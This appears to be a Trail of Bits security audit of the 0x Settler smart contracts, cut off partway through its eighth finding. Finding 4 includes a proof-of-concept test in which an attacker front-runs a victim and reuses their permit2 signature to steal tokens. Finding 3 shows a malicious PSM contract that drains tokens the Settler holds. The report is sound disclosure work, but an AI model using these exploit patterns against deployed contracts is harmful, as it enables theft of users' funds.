



ZeroEx - 0x Protocol V5

Security Assessment

March 05, 2024

Prepared for:

Eric Wong, Duncan Townsend

ZeroEx

Prepared by: **Kurt Willis, Alexander Remie, Ronald Eytchison**

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at <https://github.com/trailofbits/publications>, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom.

Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash.

To keep up to date with our latest news and announcements, please follow [@trailofbits](#) on Twitter and explore our public repositories at <https://github.com/trailofbits>. To engage us directly, visit our "Contact" page at <https://www.trailofbits.com/contact>, or email us at info@trailofbits.com.

Trail of Bits, Inc.

497 Carroll St., Space 71, Seventh Floor
Brooklyn, NY 11215

<https://www.trailofbits.com>

info@trailofbits.com

Notices and Remarks

Copyright and Distribution

© 2024 by Trail of Bits, Inc.

All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom.

This report is considered by Trail of Bits to be business confidential information; it is licensed to ZeroEx under the terms of the project statement of work and intended solely for internal use by ZeroEx. Material within this report may not be reproduced or distributed in part or in whole without the express written permission of Trail of Bits.

The sole canonical source for Trail of Bits publications is the [Trail of Bits Publications page](#). Reports accessed through any source other than that page may have been modified and should not be considered authentic.

Test Coverage Disclaimer

All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and agreed upon project plan.

Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project.

Table of Contents

About Trail of Bits	1
Notices and Remarks	2
Table of Contents	3
Project Summary	4
Executive Summary	5
Project Goals	7
Project Targets	8
Project Coverage	9
Codebase Maturity Evaluation	10
Summary of Findings	12
Detailed Findings	13
1. checkCall does not validate required assumptions for Out-Of-Gas	13
2. Testing is mainly performed via mocked calls	14
3. MakerPSM contract can be used to perform BASIC_SELL action	16
4. UniswapV3 contains insufficient validation on callback data	18
5. AllowanceHolder's confused deputy check relies on unwritten assumptions	23
6. Deployer contract does not support IERC721's interface	26
7. Bips range is not validated	27
8. Memory unsafe blocks are marked as safe	28
9. AllowanceHolderBase does not check for contract code	30
10. Discrepancy in ERC1967UUPSUpgradeable's upgrade and initialize conditions	31
11. Newer EVM opcodes not yet supported on all EVM chains	33
A. Vulnerability Categories	35
B. Code Maturity Categories	37
C. Code Quality	39

Project Summary

Contact Information

The following project manager was associated with this project:

Jeff Braswell, Project Manager
jeff.braswell@trailofbits.com

The following engineering director was associated with this project:

Josselin Feist, Engineering Director, Blockchain
josselin.feist@trailofbits.com

The following consultants were associated with this project:

Kurt Willis, Consultant
kurt.willis@trailofbits.com

Alexander Remie, Consultant
alexander.remie@trailofbits.com

Ronald Eytchison, Consultant
ronald.eytchison@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
February 15, 2024	Pre-project kickoff call
February 27, 2024	Status update meeting #1
March 12, 2024	Delivery of report draft + report readout meeting

Executive Summary

Engagement Overview

ZeroEx engaged Trail of Bits to review the security of 0xSettler. The main contract, Settler, is a settlement contract that enables executing optimized and configurable batched actions with a focus on securely handling user funds. Settler handles token transfers in two ways, by using AllowanceHolder—a contract that only stores allowances for the duration of the transaction call—and/or Permit2 coupons. A big focus of the review was to ensure that any Permit2 coupons could only be spent along with the signer's original intent.

A team of 3 consultants conducted the review from February 20 to March 04, for a total of 5 engineer-weeks of effort. Our testing efforts focused on the security of 0xSettler. With full access to source code and documentation, we performed static and dynamic testing of the codebase, using automated and manual processes.

Observations and Impact

The 0xSettler code base showcases advanced low-level optimization techniques and usage of new Solidity opcode features. It is noteworthy that the overall design of the system is focused around security—as seen by ephemeral allowances—while still allowing a certain amount of flexibility—seen by arbitrary pool sell actions. A lot of care was given in writing the optimized assembly code which comes with a perhaps questionable tradeoff of requiring to keep track of many assumptions when reviewing the code. One major issue (TOB-0XP-4) was found pertaining to missing validation in a callback which is only possible to exploit by misusing multiple actions' original intent. This is a drawback which comes from the added flexibility of the system.

Recommendations

Based on the codebase maturity evaluation and findings identified during the security review, Trail of Bits recommends that ZeroEx take the following steps:

- **Remediate the findings disclosed in this report.** These findings should be addressed as part of a direct remediation or as part of any refactor that may occur when addressing other recommendations.
- **Simplify assembly heavy code.** The highly optimized code makes reasoning about the functionality difficult. Ensuring correct functionality requires keeping track of many unwritten assumptions.
- **Isolate Settler's actions.** A high severity issue was found due to the unforeseen interaction between multiple actions. Consider Compartmentalizing and cutting off implementations from each other, so there cannot be any vulnerability arising from cross-interactions of actions.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

<i>Severity</i>	<i>Count</i>
High	1
Medium	1
Low	1
Informational	8
Undetermined	0

CATEGORY BREAKDOWN

<i>Category</i>	<i>Count</i>
Data Validation	5
Patching	1
Testing	2
Undefined Behavior	3

Project Goals

The engagement was scoped to provide a security assessment of the ZeroEx 0xSettler. Specifically, we sought to answer the following non-exhaustive list of questions:

- Can AllowanceHolder's token allowances be used without authorization?
- Is AllowanceHolder's confused deputy check sound and could it fail for valid tokens?
- Can AllowanceHolder's forwarded msgSender argument be spoofed through re-entrancy?
- Can Deployer be initialized multiple times with malicious values?
- Can Deployer's multicall functionality be abused?
- Is the redemption of a Permit2 coupon always tied to the owner's intent?
- Are meta transaction authorizations correctly secured?
- Can a forwarded msgSender be used to perform unintended actions?
- Can actions be executed partially or out of order?
- Is UniswapV3's callback secured from redeeming arbitrary coupons?
- Are arbitrary calls restricted to only allow safe targets?
- Are there flaws in the encoding and decoding data in/from memory?

Project Targets

The engagement involved a review and testing of the following target.

Ox-Settler

Repository	https://github.com/OxProject/Ox-settler
Version	8880a97e9cd35fdd6986b91cafb9d02b16668362
Type	EVM
Platform	Solidity

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following:

- Manual analysis of the code base and its components
- Static analysis through the use of Slither
- Running the provided test suite
- Creating our own tests for demonstrating proof of concepts

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. During this project, the following targets were excluded from the scope:

Vendored from other open-source projects:

- `src/vendor/SafeTransferLib.sol`
- `src/vendor/FullMath.sol`

Written not in assembly (Yul) but in raw EVM bytecode:

- `src/proxy/ERC1967UUPSProxy.sol`
- `src/utls/Create3.sol`

Assembly-heavy trivial files:

- `src/utls/Atol.sol`
- `src/utls/ItoA.sol`
- `src/utls/IPFS.sol`
- `src/utls/AddressDerivation.sol`

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Arithmetic	The amount of arithmetic used in the implementation is low. With few exceptions, arithmetic is performed in inline assembly blocks. Numerous arithmetic operations that might overflow are prepended with a comment which details the reason for an overflow not being possible. However, this is not present in all places and we identified one issue where an overflow could happen without causing a revert (TOB-0XP-7).	Moderate
Auditing	Events are emitted for critical state-changing functions, both using high-level Solidity and inline assembly. There currently does not exist an incident response plan. We recommend implementing such a plan, see here for our guidelines.	Satisfactory
Authentication / Access Controls	The protocol is a decentralized system without any privileged access aside from token authorizations coming from AllowanceHolder and Permit2. One issue was found pertaining to insufficient authorization checks in an unsecured callback (TOB-0XP-4).	Moderate
Complexity Management	The contracts—each with a specific purpose—are well organized and compartmentalized. However, the extensive use of inline assembly and heavy optimizations makes for an overall highly complex project.	Weak
Decentralization	The project does not contain any privileged role that could lead to a single point of failure. Access to the protocol is permissionless and user funds are secured through the use of AllowanceHolder and Permit2 coupons. Furthermore, the contracts are not upgradeable, and there are no configuration parameters	Strong

	in the contracts.	
Documentation	The provided documentation in the README file was both concise and detailed. This includes various diagrams to explain the flow of the various actions, as well as explanations of the security aspects of the various components. Further user facing documentation is available for the public.	Strong
Low-Level Manipulation	The settler project is implemented in such a way to maximize gas efficiency. As such the project makes heavy use of inline assembly such that unnecessary checks can be skipped and the overall gas consumption can be minimized. The flipside of that is that a single mistake in terms of skipping checks could have disastrous results. During the audit we did not uncover such issues. However, if development continues after the audit the possibility of introducing such a mistake is higher than in projects that do not use as much inline assembly.	Moderate
Testing and Verification	The project contains both unit tests and integration tests. However, the use of mocked calls does lower the usefulness of the tests (TOB-0XP-2).	Moderate
Transaction Ordering	Besides the high severity finding that relies on frontrunning a legitimate user's transaction (TOB-0XP-4), we did not uncover other frontrunning, backrunning, or sandwich-related issues. The use of a min-amount-out parameter protects against the most general case of frontrunning user's transactions.	Moderate

Summary of Findings

The table below summarizes the findings of the review, including type and severity details.

ID	Title	Type	Severity
1	checkCall does not validate required assumptions for Out-Of-Gas	Data Validation	Informational
2	Testing is mainly performed via mocked calls	Testing	Informational
3	MakerPSM contract can be used to perform BASIC_SELL action	Undefined Behavior	Informational
4	UniswapV3 contains insufficient validation on callback data	Data Validation	High
5	AllowanceHolder's confused deputy check relies on unwritten assumptions	Testing	Informational
6	Deployer contract does not support IERC721's interface	Undefined Behavior	Informational
7	Bips range is not validated	Data Validation	Informational
8	Memory unsafe blocks are marked as safe	Undefined Behavior	Informational
9	AllowanceHolderBase does not check for contract code	Data Validation	Low
10	Discrepancy in ERC1967UUPSUpgradeable's upgrade and initialize conditions	Data Validation	Informational
11	Newer EVM opcodes not yet supported on all EVM chains	Patching	Medium

Detailed Findings

1. checkCall does not validate required assumptions for Out-Of-Gas

Severity: Informational

Difficulty: High

Type: Data Validation

Finding ID: TOB-0XP-1

Target: src/utils/CheckCall.sol

Description

An assumption to detect whether a call failed due to out-of-gas in checkCall is not validated.

checkCall contains a check aimed at detecting whether a call failed due to out-of-gas.

```
success := staticcall(callGas, target, add(data, 0x20), mload(data), 0x00, 0x00)

// ...

// https://eips.ethereum.org/EIPS/eip-150
// https://ronan.eth.link/blog/ethereum-gas-dangers/
if iszero(or(success, or(returndatasize(), lt(div(callGas, 63), gas())))) {
    // The call failed due to not enough gas left. We deliberately consume
    // all remaining gas with `invalid` (instead of `revert`) to make this
    // failure distinguishable to our caller.
    invalid()
}
```

Figure 1.1: Out-of-gas detection (0x-settler/src/utils/CheckCall.sol#30-50)

Out-of-gas is detected by checking `callGas / 63 >= gasleft` (among others). However, this comparison only works under the assumption that the call was made with more than `callGas` gas left.

Recommendations

Short term, include a check for `gas() >= callGas` before executing the `staticcall`.

Long term, when using conditionals always also cover the opposite case and handle it accordingly.

2. Testing is mainly performed via mocked calls

Severity: Informational

Difficulty: Medium

Type: Testing

Finding ID: TOB-0XP-2

Target: test/unit/*

Description

Many tests rely on the use of mocked calls instead of actually interacting with the protocols.

```
function testPermitAuthorised() public {
    ah.setAllowed(OPERATOR, OWNER, TOKEN, AMOUNT);

    assertEquals(ah.getAllowed(OPERATOR, OWNER, TOKEN), AMOUNT);
    _mockExpectCall(
        TOKEN, abi.encodeWithSelector(IERC20.transferFrom.selector, OWNER,
        RECIPIENT, AMOUNT), new bytes(0)
    );
    vm.prank(OPERATOR, address(this));
    assertTrue(ah.transferFrom(TOKEN, OWNER, RECIPIENT, AMOUNT));
    assertEquals(ah.getAllowed(OPERATOR, OWNER, TOKEN), 0);
}
```

*Figure 2.1: Example unit test that uses _mockExpectCall
(0x-settler/test/unit/AllowanceHolderUnitTest.t.sol#49-59)*

This testing method only asserts that calls to contracts are being made with the correct data. However, the returned data is entirely specified by the test and does not originate from the actual computations run in the contracts when they are deployed.

Recommendations

Short term, expand the testing suite with calls to actual implemented contracts.

Long term, beware of the risks that come with not fully testing code as when it is deployed.

3. MakerPSM contract can be used to perform BASIC_SELL action

Severity: Informational

Difficulty: High

Type: Undefined Behavior

Finding ID: TOB-0XP-3

Target: 0x-settler/src/core/MakerPSM.sol

Description

The MakerPSM contract can be used to perform the BASIC_SELL action due to allowing arbitrary psm and gemToken values. Although this isn't a problem, it is likely not the intention.

The BASIC_SELL action allows a user to sell (=transfer) any ERC20 token or ETH from the Settler to an arbitrary recipient address. This is performed by the Settler first approving the recipient address to spend a specific ERC20 token, followed by calling an arbitrary function on the recipient (which could then transfer the approved tokens).

The MakerPSM contract, which is inherited by the Settler contract, implements two functions to buy and sell DAI for a gemToken through a Maker PSM contract. The makerPsmSellGem function (Figure 3.1) will first approve the address returned from the psm.getJoin() function to spend a given ERC20 token of the Settler. Followed by calling the sellGem function on the psm address. This flow is similar to the above described BASIC_SELL action since psm can be arbitrarily chosen by the user.

```
44     function makerPsmSellGem(address recipient, uint256 bips, IPsm psm,  
IERC20Meta gemToken) internal {  
45         // phantom overflow can't happen here because PSM prohibits gemToken with  
decimals > 18  
46         uint256 sellAmount = (gemToken.balanceOf(address(this)) *  
bips).unsafeDiv(10_000);  
47         gemToken.safeApproveIfBelow(psm.getJoin(), sellAmount);  
48         psm.sellGem(recipient, sellAmount);  
49     }
```

Figure 3.1: 0x-settler/src/core/MakerPSM.sol#44-49

By allowing arbitrary psm and gemToken values it is possible to deploy a custom contract, and pass that contract's address in as the psm address in the makerPsmSellGem function (through the MAKER_PSM_SELL_GEM action). As gemToken the address of an ERC20 token is passed in of which the Settler has a balance. This can then result in that token being transferred from the Settler to an arbitrary address.

Besides this already being possible through the BASIC_SELL action, the Settler (and overall system) is designed so that the contract does not own any tokens when a transaction ends, i.e. bought and sold tokens always are transferred to the buying and selling party within the same transaction.

The MakerPSM.`makerPsmBuyGem` function can be used in a similar way. However, it only allows approving DAI, instead of approving any ERC20 token in the `makerPsmSellGem` function.

Exploit Scenario

As the same result can be achieved through the BASIC_SELL action this is not an exploit, but Figure 3.2 shows the contract that could be used as psm address to the `makerPsmSellGem` function to transfer out tokens.

```
1  contract WithdrawERC20 {
2      IERC20 gemToken;
3
4      constructor(IERC20 _gemToken) {
5          gemToken = _gemToken;
6      }
7
8      function getJoin() public view returns (address) {
9          return address(this);
10     }
11
12     // called by MakerPSM.makerPsmSellGem
13     // this contract has approval to spend the Settler's gemToken.
14     function sellGem(address, uint256) external {
15         address settler = msg.sender;
16         gemToken.transferFrom(settler, address(this),
gemToken.balanceOf(settler));
17     }
18     // could also instead use a fallback function..
19 }
```

Figure 3.2: Sample PSM contract implementation to transfer tokens out of the Settler

Recommendations

Short term, consider adding a whitelist of valid Maker PSM addresses. These can be extracted from the list of deployed Maker contracts ([link](#)). Currently there seem to be three: USDC, PAX and GUSD.

Long term, limit the flexibility of arguments whenever possible. Only allow flexibility if it is required for the correct functioning of the protocol. By doing this the attack surface of the protocol will decrease.

4. UniswapV3 contains insufficient validation on callback data

Severity: High

Difficulty: Low

Type: Data Validation

Finding ID: TOB-0XP-4

Target: src/Settler.sol

Description

The UniswapV3 swap callback contains a call to permit2 with insufficient data validation allowing anyone to spend and misuse user permits.

When a user wants to swap tokens via Settler's UniswapV3 actions, it is required to transfer tokens from the user to the UniswapV3 pool. This transfer can be authorized via a permit2 coupon. It is Settler's responsibility to validate all uses of permit2 coupons with their intended use. Therefore Settler must contain careful checks when permit2 coupons are redeemed and must restrict targets when allowing for arbitrary calls.

This is done in basicSellToPool by checking the isRestrictedTarget function.

```
function basicSellToPool(address pool, IERC20 sellToken, uint256 bips, uint256
offset, bytes memory data)
    internal
{
    if (isRestrictedTarget(pool)) {
        revert ConfusedDeputy();
    }
}
```

*Figure 4.1: The BASIC_SELL action restricts its targets
(0x-settler/src/core/Basic.sol#22-27)*

UniswapV3's actions expose the uniswapV3SwapCallback which is required for UniswapV3 swaps. This callback also includes the option to pay outstanding balances from the user by redeeming a permit2 coupon.

```
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes
calldata data) external {
    // Decode the data.
    IERC20 token0;
    uint24 fee;
    IERC20 token1;
    address payer;
    assembly ("memory-safe") {
        {
            let firstWord := calldataload(data.offset)
```

```

        token0 := shr(0x60, firstWord)
        fee := shr(0x48, firstWord)
    }
    token1 := calldataload(add(data.offset, 0xb))
    payer := calldataload(add(data.offset, 0x1f))
}
// Only a valid pool contract can call this function.
if (msg.sender != address(_toPool(token0, fee, token1))) revert InvalidSender();

bytes calldata permit2Data = data[SWAP_CALLBACK_PREFIX_DATA_SIZE:];
// Pay the amount owed to the pool.
if (amount0Delta > 0) {
    _pay(token0, payer, uint256(amount0Delta), permit2Data);
} else if (amount1Delta > 0) {
    _pay(token1, payer, uint256(amount1Delta), permit2Data);
} else {
    revert ZeroSwapAmount();
}
}

function _pay(IERC20 token, address payer, uint256 amount, bytes calldata
permit2Data) private {
    if (payer == address(this)) {
        token.safeTransfer(msg.sender, amount);
    } else {
        (ISignatureTransfer.PermitTransferFrom memory permit, bytes32 witness, bool
isForwarded) =
            abi.decode(permit2Data, (ISignatureTransfer.PermitTransferFrom, bytes32,
bool));
        bytes calldata sig = permit2Data[PERMIT_DATA_SIZE +
WITNESS_AND_ISFORWARDED_DATA_SIZE:];
        (ISignatureTransfer.SignatureTransferDetails memory transferDetails,,) =
            _permitToTransferDetails(permit, msg.sender);
        if (witness == bytes32(0)) {
            _transferFrom(permit, transferDetails, payer, sig, isForwarded);
        } else {
            _transferFrom(permit, transferDetails, payer, witness,
ACTIONS_AND_SLIPPAGE_WITNESS, sig, isForwarded);
        }
    }
}
}

```

Figure 4.2: The UniswapV3 callback transfers tokens from the user that authorized the action
(0x-settler/src/core/UniswapV3.sol#325-369)

The data passed to `uniswapV3SwapCallback` is not validated. However, a check is in place to only allow calls from real UniswapV3 pool contracts. A pool's callback target cannot be arbitrarily specified (the pool always calls the message sender), therefore the Settler contract must first call the pool contract in order to reach further execution in the callback.

By abusing Settler's BASIC_SELL action, a malicious user can target a UniswapV3 pool and pass in crafted data that contains a valid permit2 authorization from an honest user.

Exploit Scenario

Alice authorizes a meta transaction that swaps 1M USDC for ETH. Bob front-runs this transaction by crafting a malicious call to a BASIC_SELL action and is able to steal Alice's funds.

```
function testUniswapV3MetaTxFrontRun() public {
    MockERC20(dai).mint(alice, 100e18);

    vm.prank(alice);
    MockERC20(dai).approve(address(ah), type(uint256).max);
    vm.prank(alice);
    MockERC20(dai).approve(address(permit2), type(uint256).max);

    // Alice sets up the permit and transfer details.
    address operator = address(settler);
    address recipient = address(settler);
    uint256 amount = 777;

    ISignatureTransfer.PermitTransferFrom memory permit =
    defaultERC20PermitTransfer(dai, amount, 1);

    ISignatureTransfer.SignatureTransferDetails[] memory transferDetails =
        new ISignatureTransfer.SignatureTransferDetails[](1);
    transferDetails[0] = ISignatureTransfer.SignatureTransferDetails({to: operator,
    requestedAmount: amount});

    // Set UniswapV3 swap path.
    uint24 fee = 500;
    bytes memory uniswapV3Path = abi.encodePacked(dai, fee, token);

    // Set up actions.
    bytes[] memory actions = ActionDataBuilder.build(
        abi.encodeCall(
            ISettlerActions.METATXN_UNISWAPV3_PERMIT2_SWAP_EXACT_IN,
            (
                alice, // recipient
                amount, // amountIn
                100, // amountOutMin
                uniswapV3Path, // (token0, fee, token1)
                permit
            )
        )
    );

    uint256 poolAmountOut = 5555;

    // Hash actions and sign.
    bytes32[] memory actionHashes = new bytes32[](1);
```

```

    actionHashes[0] = keccak256(actions[0]);

    Settler.AllowedSlippage memory slippage;

    slippage.buyToken = token;
    slippage.recipient = alice;
    slippage.minAmountOut = poolAmountOut;

    bytes32 actionsHash = keccak256(abi.encodePacked(actionHashes));
    bytes32 witness = keccak256(abi.encode(ACTIONS_AND_SLIPPAGE_TYPEHASH, slippage,
actionsHash));
    bytes memory sig = getPermitWitnessTransferSignature(
        permit, address(settler), alicePk, FULL_PERMIT2_WITNESS_TYPEHASH, witness,
permit2Domain
    );

    // Set UniswapV3Pair dummy swap and return data.
    UniswapV3PoolDummy(pool).setSwapData(
        MockERC20(dai),
        MockERC20(token),
        int256(0), // amount0
        int256(poolAmountOut), // amount1 out of pool
        address(settler) // recipient
    );

    // // This would be Alice's normal flow.
    // // This execution is front-run.

    // Settler(payable(address(settler))).executeMetaTxn(actions, slippage, alice,
sig);
    // return;

    // Bob front-runs the execution.

    bytes memory uniswapV3CallbackData = abi.encodePacked(
        uniswapV3Path,
        alice, // payer. This can be arbitrarily set!
        abi.encode(
            permit, // Bob uses Alice's permit.
            witness, // Re-use witness for Alice's actions
            false // isForwarded == false: pay with permit2
        ),
        sig
    );
    bytes memory poolCalldata = abi.encodeCall(
        IUniswapV3Pool.swap,
        (
            address(settler), // recipient
            false, // unused
            0, // unused
            0, // unused
            uniswapV3CallbackData
        )
    );

```

```

);
actions = ActionDataBuilder.build(
    abi.encodeCall(
        ISettlerActions.BASIC_SELL,
        (
            pool, // pool
            address(0), // sellToken
            10_000, // proportion
            0, // offset
            poolCalldata
        )
    )
);

// Bob is able to front-run the transaction
// and take Alice's funds authorized via permit2.
vm.startPrank(bob);
slippage.buyToken = token;
slippage.recipient = bob;
Settler(payable(address(settler))).execute(actions, slippage);
}

```

Figure 4.3: Proof-of-concept exploit demonstrating how an honest user's permit2 authorization can be misused.

Recommendations

Short term, make sure that the actions are validated inside of the `uniswapV3Callback`. This can be done via temporary/transient storage.

Long term, look out for any permit2 transfer authorizations and make sure that they can only be executed together with the signer's original intent.

5. AllowanceHolder's confused deputy check relies on unwritten assumptions

Severity: Informational

Difficulty: High

Type: Testing

Finding ID: TOB-0XP-5

Target: `src/allowanceholder/AllowanceHolderBase.sol`

Description

AllowanceHolder's confused deputy check relies on a few unwritten assumptions that are not entirely clear and robust.

The check in AllowanceHolder that rejects ERC20 contracts is performed by detecting a failure in the call result to `maybeERC20.balanceOf(target)`.

```
function _rejectIfERC20(address payable maybeERC20, bytes calldata data) private
view DANGEROUS_freeMemory {
    // We could just choose a random address for this check, but to make
    // confused deputy attacks harder for tokens that might be badly behaved
    // (e.g. tokens with blacklists), we choose to copy the first argument
    // out of `data` and mask it as an address. If there isn't enough
    // `data`, we use 0xdead instead.
    address target;
    if (data.length > 0x10) {
        target = address(uint160(bytes20(data[0x10:])));
    }
    // EIP-1352 (not adopted) specifies 0xffff as the maximum precompile
    if (target <= address(0xffff)) {
        // 0xdead is a conventional burn address; we assume that it is not treated
        specially
        target = address(0xdead);
    }
    bytes memory testData = abi.encodeCall(IERC20.balanceOf, target);
    // 500k gas seems like a pretty healthy upper bound for the amount of
    // gas that `balanceOf` could reasonably consume in a well-behaved
    // ERC20.
    if (maybeERC20.checkCall(testData, 500_000, 0x20)) revert ConfusedDeputy();
}
```

*Figure 5.1: AllowanceHolder's confused deputy check
(0x-settler/src/allowanceholder/AllowanceHolderBase.sol#18-38)*

If the call were to revert for any other reason than the contract actually not being an ERC20 then the confused deputy check could fail leading to disastrous results.

We identified several ways in which the call could fail prematurely:

- Rejecting the balance query specifically for the given address
- Revert due to a state changing `balanceOf` function
- Revert due to out-of-gas in the `balanceOf` function
- Revert due to call stack-depth limits

Some addresses are handled as a special case. For example, it is not uncommon to encounter ERC20 implementations that revert for a balance query for the zero address. The code cleverly tries to extract an address from the calldata in the case that a malicious actor were to call `transferFrom` on a token contract and uses this as the target for the confused deputy check. Although, this does give a potential attacker some degree of freedom.

Regarding state-changing `balanceOf` functions: few contracts exist on Ethereum mainnet that contain a state-changing `balanceOf` function. Of those, none are in-use, hold any real-value or conform to the actual ERC20 standard. The ERC20 standard specifies that the `balanceOf` function should be declared as “view”, i.e. non-state-changing. **A state-changing `balanceOf` function would therefore not conform to the standard and can be dismissed.**

Regarding a revert due to out-of-gas: Many ERC20 tokens are upgradeable and contain delegate and forwarded calls to implementation or data contracts. Given such a scenario, it could be conceivable that a call to `balanceOf` might revert due to out-of-gas, with enough gas remaining to continue the function execution bypassing the confused deputy check.

In order to give an estimate of the likelihood of this scenario: For an attacker to be able to execute a `transferFrom` functionality, at least two storage writes are required. A storage write costs at least 2900 (base dynamic gas) and 2100 (cold storage access). The cold access costs can be circumvented through the use of access-lists. The entire cost can thus be lower bound by $2 * 2900 = 5800$. If this much gas must remain after the 1/64 rule, then $original_gas = 5800 * 64 = 371200$ and $gas_balance_check = 5800 * 63 = 365400$ is the amount that is forwarded to `balanceOf`. A simple balance check can be estimated to cost 2100 gas in the worst case (cold storage read).

As some contracts can contain a delegate call and an additional forwarded call (e.g. USDC), we can include N forwarded calls into the equation. The costs for the forwarded calls themselves (balance check) can be estimated to cost 2600 (cold call) and 100 for the malicious call to `transferFrom`. The costs for N calls to transfer tokens can thus be lower bound by $N * 100 + 5800$. The confused deputy check would fail if there is an $N > 0$, such that $gas_transfer$ is covered, but $gas_balance_check$ fails. I.e. an $N > 0$ such that $gas_balance_check_given < gas_balance_check_required$: $(N * 100 + 5800) * 63 < N * 2600 + 2100$. This is a non-satisfiable equation, as $N < -98$. **In a rare opcode repricing scenario, where cold contract calls suddenly cost 50K gas, the equation would be satisfiable with N = 9 forwarded calls required which even then is very unlikely.**

The `balanceOf` function could further revert in a scenario where the call stack depth limit is reached. This is when 1024 call frames are opened. **However, if a call to the balance check reverts due to the limit, then it is very likely that the call to `transferFrom` will also revert.** In the rare case that there exists an ERC20 contract which requires an additional external call in the `balanceOf` function not present in the `transfer` function, the confused deputy check could be tricked to fail prematurely. **Thus far, we have not identified such a contract and expect this case to be unlikely.**

Recommendations

Short term, determine a fixed pseudo-random target address for the confused deputy check which is non-attacker controlled. Also, consider including a check to detect out of gas reverts or require enough gas being forwarded to `checkCall` for good measure (as described in issue [TOB-0XP-1](#)).

Long term, consider all possible edge-case scenarios where a non-robust check could fail and document all assumptions and scenarios in order to keep track of these when assumptions change.

6. Deployer contract does not support IERC721's interface

Severity: Informational

Difficulty: Medium

Type: Undefined Behavior

Finding ID: TOB-0XP-6

Target: `deployer/Deployer.sol`

Description

The Deployer contract signals that it supports IERC721's interface via its `supportsInterface` function, yet it lacks functionality specified in the ERC721 spec such as `transfer`.

```
function supportsInterface(bytes4 interfaceId)
    public
    view
    override(IERC165, AbstractOwnable, ERC1967UUPSUpgradeable)
    returns (bool)
{
    return super.supportsInterface(interfaceId) || interfaceId == 0x80ac58cd //
regular IERC721
    || interfaceId == type(IERC721ViewMetadata).interfaceId;
}
```

*Figure 6.1: Deployer's `supportsInterface` function returns true for IERC721.
(`0x-settler/src/deployer/Deployer.sol#300-308`)*

This could lead to unexpected behavior when integrating with other protocols that rely on the `supportsInterface` function to determine whether a contract is ERC721 compatible.

Recommendations

Short term, remove the supported interface id for ERC721.

Long term, consider compatibility implications regarding outside protocols that rely on well-defined standards.

7. Bips range is not validated

Severity: Informational

Difficulty: Medium

Type: Data Validation

Finding ID: TOB-0XP-7

Target: core/UniswapV2.sol

Description

When swapping with a UniswapV2 pool, the `sellToUniswapV2` function contains a parameter `bips` controlling the amount of Settler's current token balance to be sold. Even though the parameter should be capped to `10_000`, it can exceed this value.

```
if (bips != 0) {
    // We don't care about phantom overflow here because reserves are
    // limited to 112 bits. Any token balance that would overflow here would
    // also break UniV2.
    unchecked {
        sellAmount = (IERC20(sellToken).balanceOf(address(this)) *
bips).unsafeDiv(10_000);
    }
}
```

*Figure 7.1: UniswapV2's `sellToUniswapV2` function
(0x-settler/src/core/UniswapV2.sol#48-55)*

In a normal case, setting the `bips` value too high could lead to a reverting execution due to a token transfer call with insufficient token balances. Since `bips` is uncapped, its product with the token balance could also overflow. In this case, the function execution could still succeed.

Recommendations

Short term, include a check that reverts if `bips` exceeds `10_000`.

Long term, ensure that all parameters are restricted by their proper bounds.

8. Memory unsafe blocks are marked as safe

Severity: Informational

Difficulty: Medium

Type: Undefined Behavior

Finding ID: TOB-0XP-8

Target: src/*.sol

Description

There is assembly code marked as “memory-safe” which is not memory safe. This can lead to undefined behavior.

The definition of “memory-safe” assembly as given by the [Solidity documentation](#) is not very clear. Memory safety was introduced to help the compiler reason about safe optimizations around assembly code. The documentation mentions that *“Since this is mainly about the optimizer, these restrictions still need to be followed, even if the assembly block reverts or terminates.”*

As a result there are many assembly blocks which do not meet the strict definition, yet also do not appear to pose an identifiable problem. We have highlighted a few sections in the code which could, however, lead to unexpected behavior if not used given the correct context.

```
abstract contract FreeMemory {
    modifier DANGEROUS_freeMemory() {
        uint256 freeMemPtr;
        assembly ("memory-safe") {
            freeMemPtr := mload(0x40)
        }
        -;
        assembly ("memory-safe") {
            mstore(0x40, freeMemPtr)
        }
    }
}
```

Figure 8.1: Write to the free memory pointer.
(0x-settler/src/utils/FreeMemory.sol#4-15)

```
bytes memory result = exec(operator, token, amount, target, data);

// return result;
assembly ("memory-safe") {
    let returndata := sub(result, 0x20)
```

```

mstore(returndata, 0x20)
return(returndata, add(0x40, mload(result)))
}

```

*Figure 8.2: Write before allocated reference.
(src/allowanceholder/AllowanceHolderBase.sol#148–155)*

```

library UnsafeArray {
    function unsafeGet(ISignatureTransfer.TokenPermissions[] memory a, uint256 i)
        internal
        pure
        returns (ISignatureTransfer.TokenPermissions memory r)
    {
        assembly ("memory-safe") {
            r := mload(add(add(a, 0x20), shl(5, i)))
        }
    }

